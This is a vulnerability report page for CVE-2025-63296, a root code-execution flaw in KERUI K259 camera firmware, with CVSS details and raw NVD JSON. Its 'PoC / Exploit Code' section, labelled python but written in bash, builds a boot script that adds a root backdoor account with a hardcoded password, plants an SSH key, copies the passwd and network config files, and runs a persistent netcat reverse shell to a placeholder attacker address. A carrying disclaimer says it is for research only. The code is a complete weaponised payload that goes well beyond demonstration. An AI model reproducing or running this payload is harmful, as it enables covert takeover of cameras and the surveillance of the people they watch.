Security Vulnerability Report
中文
CVE-2025-63296 CVSS 6.5 MEDIUM

CVE-2025-63296

Published: 2025-11-10 21:15:40
Last Modified: 2026-02-05 15:15:35

Description

KERUI K259 5MP Wi-Fi / Tuya Smart Security Camera firmware v33.53.87 contains a code execution vulnerability in its boot/update logic: during startup /usr/sbin/anyka_service.sh scans mounted TF/SD cards and, if /mnt/update.nor.sh is present, copies it to /tmp/net.sh and executes it as root.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:keruistore:kerui_k259_firmware:33.53.87:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:keruistore:kerui_k259:-:*:*:*:*:*:*:* - NOT VULNERABLE
KERUI K259 5MP Wi-Fi Camera firmware v33.53.87
Tuya Smart Security Camera firmware v33.53.87

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-63296 PoC - KERUI K259 Camera SD Card Code Execution # This PoC demonstrates the vulnerability by creating a malicious update.nor.sh # that will be executed as root when inserted into the vulnerable device. # Create the malicious update script cat > update.nor.sh << 'EOF' #!/bin/sh # Malicious payload - executes as root on vulnerable devices # This example creates a backdoor and logs the attack echo "[$(date)] CVE-2025-63296 exploit executed" >> /tmp/.exploit_log # Create a backdoor user with root privileges echo "backdoor:*:0:0:root:/tmp:/bin/sh" >> /etc/passwd echo "backdoor:$(openssl passwd -1 hacker123):0:0:root:/tmp:/bin/sh" >> /etc/shadow # Add SSH key for persistent access (if dropbear is present) if [ -f /usr/bin/dropbear ]; then mkdir -p /etc/dropbear echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC..." > /etc/dropbear/authorized_keys fi # Exfiltrate device information cat /etc/config/network > /tmp/.net_config cat /etc/passwd > /tmp/.passwd_backup # Create a reverse shell script for persistence cat > /tmp/.hidden_shell.sh << 'SHELL' #!/bin/sh while true; do nc -e /bin/sh <attacker_ip> <port> sleep 60 done SHELL chmod +x /tmp/.hidden_shell.sh # Start reverse shell in background /tmp/.hidden_shell.sh & echo "Exploit completed successfully" EOF # Set executable permissions chmod +x update.nor.sh echo "PoC script created: update.nor.sh" echo "Copy this file to SD card at path: /mnt/update.nor.sh" echo "Insert SD card into vulnerable KERUI K259 device"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63296", "sourceIdentifier": "[email protected]", "published": "2025-11-10T21:15:39.593", "lastModified": "2026-02-05T15:15:34.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "KERUI K259 5MP Wi-Fi / Tuya Smart Security Camera firmware v33.53.87 contains a code execution vulnerability in its boot/update logic: during startup /usr/sbin/anyka_service.sh scans mounted TF/SD cards and, if /mnt/update.nor.sh is present, copies it to /tmp/net.sh and executes it as root."}, {"lang": "es", "value": "El firmware v33.53.87 de la cámara de seguridad inteligente KERUI K259 5MP Wi-Fi / Tuya contiene una vulnerabilidad de ejecución de código en su lógica de arranque/actualización: durante el arranque, /usr/sbin/anyka_service.sh escanea las tarjetas TF/SD montadas y, si /mnt/update.nor.sh está presente, lo copia a /tmp/net.sh y lo ejecuta como root."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:keruistore:kerui_k259_firmware:33.53.87:*:*:*:*:*:*:*", "matchCriteriaId": "C49BC0FD-ECFA-4E9B-BBB2-5DD7F64E00FA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:keruistore:kerui_k259:-:*:*:*:*:*:*:*", "matchCriteriaId": "4BC8A6C2-0F2E-475B-96DB-4A9BDA709742"}]}]}], "references": [{"url": "https://gist.github.com/t4e-3/082cdd0b7ee6b650c7aaae97fd4e016c", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/t4e-3/CVE-2025-63296", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}